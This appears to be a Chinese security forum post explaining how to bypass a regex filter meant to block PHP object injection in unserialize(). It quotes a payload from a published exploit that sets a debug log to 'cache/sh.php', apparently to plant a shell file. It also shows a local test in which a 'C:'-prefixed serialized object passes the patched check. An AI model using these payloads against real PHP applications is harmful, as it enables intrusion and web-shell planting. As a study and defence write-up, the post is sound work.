搜索
    Hi~登录注册
    查看: 56|回复: 0
    收起左侧

    分享一个PHP中绕过正则的Object Injection 方法

    [复制链接]

    26

    主题

    0

    精华

    31 小时

    在线时间

    密圈

    积分
    26
    发表于 2020-5-18 19:03:38 | 显示全部楼层 |阅读模式
    之前看到过一个漏洞https://www.exploit-db.com/exploits/22547,程序检测用户传入字符串中开头是否为"a:"来判断传入的序列化是数组还是对象(类),以此来防止对象注入。文中作者给出的方法是将类写进数组中,如下图所示。
    微信截图_20200518190050.png
    这样序列化之后的字符串张这样
    [AppleScript] 纯文本查看 复制代码
    a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}

    避开了正则匹配中的限制,成功传入对象。
    但是随后的补丁中添加了这样的代码防止这种绕过。
    [AppleScript] 纯文本查看 复制代码
    else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
                {
                    return @unserialize( $serialized );
                }

    只要上传的序列化字符串中存在形如"O:"这样表示对象的字符组合,就会被正则匹配到,这里我分享一个从一道CTF中学到的绕过方法。
    PHP序列化中有12个不同的符号,代表不同的序列化对象的数据类型。
    微信截图_20200518190237.png
    仔细观察,其中字符"C"和"O"都会"goto yy13",也就是被当作类对象处理,所以这里可以将序列化后的字符串中的字符"O"替换为字符"C",来绕过正则匹配。
    我做了一个实验,将补丁代码放在本地,并且自己写了一个类看是否能够绕过正则匹配。
    [PHP] 纯文本查看 复制代码
    <?php
    Class Test
    {
        function __destruct()
        {
            echo "success\n";
        }
    }
    
    
    function safeUnserialize( $serialized )
    {
        // unserialize will return false for object declared with small cap o
        // as well as if there is any ws between O and :
        if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
        {
            if ( strpos( $serialized, 'O:' ) === false )
            {
                // the easy case, nothing to worry about
                // let unserialize do the job
                return @unserialize( $serialized );
            }
            else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
            {
                // in case we did have a string with O: in it,
                // but it was not a true serialized object
                return @unserialize( $serialized );
            }
        }
    
        return false;
    }
    safeUnserialize('C:4:"Test":0:{}');
    
    ?>

    结果如下图所示,成功传入了类Test。
    微信截图_20200518190321.png





    上一篇:一次奇葩的四方支付平台(BC)被黑后,渗透+溯源
    下一篇:MySQL另类方法获取元数据信息
    回复

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表